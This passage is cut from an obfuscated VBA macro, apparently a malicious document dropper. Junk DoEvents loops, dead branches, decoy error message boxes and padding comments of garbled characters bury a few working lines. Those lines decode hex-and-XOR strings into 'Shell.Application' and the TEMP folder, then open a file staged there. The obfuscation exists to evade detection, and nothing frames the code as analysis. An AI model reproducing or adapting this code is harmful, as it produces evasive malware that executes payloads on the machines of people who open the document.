  1438. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1439. For YllpCaXu = 0 To 5
  1440. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1441. DoEvents
  1442. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1443. Next YllpCaXu
  1444. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1445. DoEvents: TTXNKbOS = TTXNKbOS + 1
  1446. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1447. Dim BhUyMJkf As Integer
  1448. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1449. For BhUyMJkf = 0 To 5
  1450. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1451. DoEvents
  1452. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1453. Next BhUyMJkf
  1454. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1455. Loop
  1456. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1457.  
  1458. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1459. Dim azHlSlvT As Integer
  1460. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1461. For azHlSlvT = 0 To 3
  1462. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1463. DoEvents
  1464. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1465. Next azHlSlvT
  1466. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1467.       MsgBox ("Error !!!")
  1468. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1469. End If
  1470. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1471.  
  1472. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1473. Dim RQwamyao As Integer
  1474. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1475. Dim RRjkmWbD As Integer
  1476. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1477. For RRjkmWbD = 0 To 8
  1478. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1479. DoEvents
  1480. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1481. Next RRjkmWbD
  1482. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1483. RQwamyao = 9
  1484. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1485. Do While RQwamyao < 47
  1486. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1487. Dim TxrhKmmB As Integer
  1488. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1489. For TxrhKmmB = 0 To 1
  1490. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1491. DoEvents
  1492. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1493. Next TxrhKmmB
  1494. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1495. DoEvents: RQwamyao = RQwamyao + 1
  1496. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1497. Dim QLTsYARb As Integer
  1498. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1499. For QLTsYARb = 0 To 5
  1500. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1501. DoEvents
  1502. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1503. Next QLTsYARb
  1504. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1505. Loop
  1506. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1507.  
  1508. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1509. Dim hljvAJQz As Integer
  1510. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1511. For hljvAJQz = 0 To 2
  1512. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1513. DoEvents
  1514. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1515. Next hljvAJQz
  1516. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1517.    Close #RVDHCWIGIMP
  1518. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1519.  
  1520. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1521.  
  1522. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1523. If 124517 = 124517 + 1 Then End
  1524. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1525. If 1379 < 75 Then
  1526. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1527.  
  1528. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1529. Dim SLgnnXsE As Integer
  1530. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1531. Dim KajnwyBN As Integer
  1532. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1533. For KajnwyBN = 0 To 1
  1534. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1535. DoEvents
  1536. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1537. Next KajnwyBN
  1538. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1539. SLgnnXsE = 2
  1540. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1541. Do While SLgnnXsE < 21
  1542. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1543. Dim ooItKlEe As Integer
  1544. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1545. For ooItKlEe = 0 To 4
  1546. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1547. DoEvents
  1548. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1549. Next ooItKlEe
  1550. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1551. DoEvents: SLgnnXsE = SLgnnXsE + 1
  1552. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1553. Dim GxnQAPAc As Integer
  1554. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1555. For GxnQAPAc = 0 To 6
  1556. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1557. DoEvents
  1558. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1559. Next GxnQAPAc
  1560. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1561. Loop
  1562. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1563.  
  1564. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1565. Dim lVrxNfJx As Integer
  1566. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1567. For lVrxNfJx = 0 To 2
  1568. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1569. DoEvents
  1570. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1571. Next lVrxNfJx
  1572. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1573.        MsgBox ("wZlHvwrz59")
  1574. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1575. End If
  1576. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1577. If Len("mGILexpg8336") = Len("YfOhrqeS") Then
  1578. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1579.  
  1580. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1581. Dim WGrmqLsz As Integer
  1582. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1583. Dim YwtllDbf As Integer
  1584. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1585. For YwtllDbf = 0 To 1
  1586. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1587. DoEvents
  1588. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1589. Next YwtllDbf
  1590. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1591. WGrmqLsz = 3
  1592. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1593. Do While WGrmqLsz < 93
  1594. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1595. Dim CbUhPjir As Integer
  1596. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1597. For CbUhPjir = 0 To 4
  1598. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1599. DoEvents
  1600. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1601. Next CbUhPjir
  1602. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1603. DoEvents: WGrmqLsz = WGrmqLsz + 1
  1604. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1605. Dim lVzFlyTs As Integer
  1606. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1607. For lVzFlyTs = 0 To 2
  1608. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1609. DoEvents
  1610. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1611. Next lVzFlyTs
  1612. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1613. Loop
  1614. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1615.  
  1616. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1617. Dim IqCemjVo As Integer
  1618. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1619. For IqCemjVo = 0 To 7
  1620. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1621. DoEvents
  1622. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1623. Next IqCemjVo
  1624. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1625.       MsgBox ("Error !!!")
  1626. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1627. End If
  1628. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1629.  
  1630. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1631. Dim pyTskYTz As Integer
  1632. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1633. Dim ZMLlgoKq As Integer
  1634. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1635. For ZMLlgoKq = 0 To 4
  1636. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1637. DoEvents
  1638. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1639. Next ZMLlgoKq
  1640. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1641. pyTskYTz = 6
  1642. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1643. Do While pyTskYTz < 36
  1644. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1645. Dim IdFSWqrU As Integer
  1646. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1647. For IdFSWqrU = 0 To 5
  1648. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1649. DoEvents
  1650. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1651. Next IdFSWqrU
  1652. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1653. DoEvents: pyTskYTz = pyTskYTz + 1
  1654. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1655. Dim rQuhhQlq As Integer
  1656. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1657. For rQuhhQlq = 0 To 5
  1658. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1659. DoEvents
  1660. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1661. Next rQuhhQlq
  1662. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1663. Loop
  1664. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1665.  
  1666. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1667. Dim cbouzMFo As Integer
  1668. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1669. For cbouzMFo = 0 To 9
  1670. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1671. DoEvents
  1672. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1673. Next cbouzMFo
  1674. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1675. Set GBIviviu67FUGBK = CreateObject(XORI(Hextostring("1A0337063974081B22063C39281F3B053B"), Hextostring("496B526A555A")))
  1676. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1677.  
  1678. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1679. GBIviviu67FUGBK.Open Environ(XORI(Hextostring("35292B28"), Hextostring("616C667875"))) & XORI(Hextostring("310F1328182D27340F1C31074D171529"), Hextostring("6D4C447A4B6372"))
  1680. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1681.  
  1682. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1683. If 843242 = 843242 + 1 Then End
  1684. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1685. If 8291 < 26 Then
  1686. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1687.  
  1688. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1689. Dim rgYIYBGU As Integer
  1690. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1691. Dim UlpsgnCI As Integer
  1692. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1693. For UlpsgnCI = 0 To 8
  1694. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1695. DoEvents
  1696. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1697. Next UlpsgnCI
  1698. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1699. rgYIYBGU = 5
  1700. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1701. Do While rgYIYBGU < 83
  1702. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1703. Dim bhXgjHQl As Integer
  1704. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1705. For bhXgjHQl = 0 To 7
  1706. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1707. DoEvents
  1708. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1709. Next bhXgjHQl
  1710. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1711. DoEvents: rgYIYBGU = rgYIYBGU + 1
  1712. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
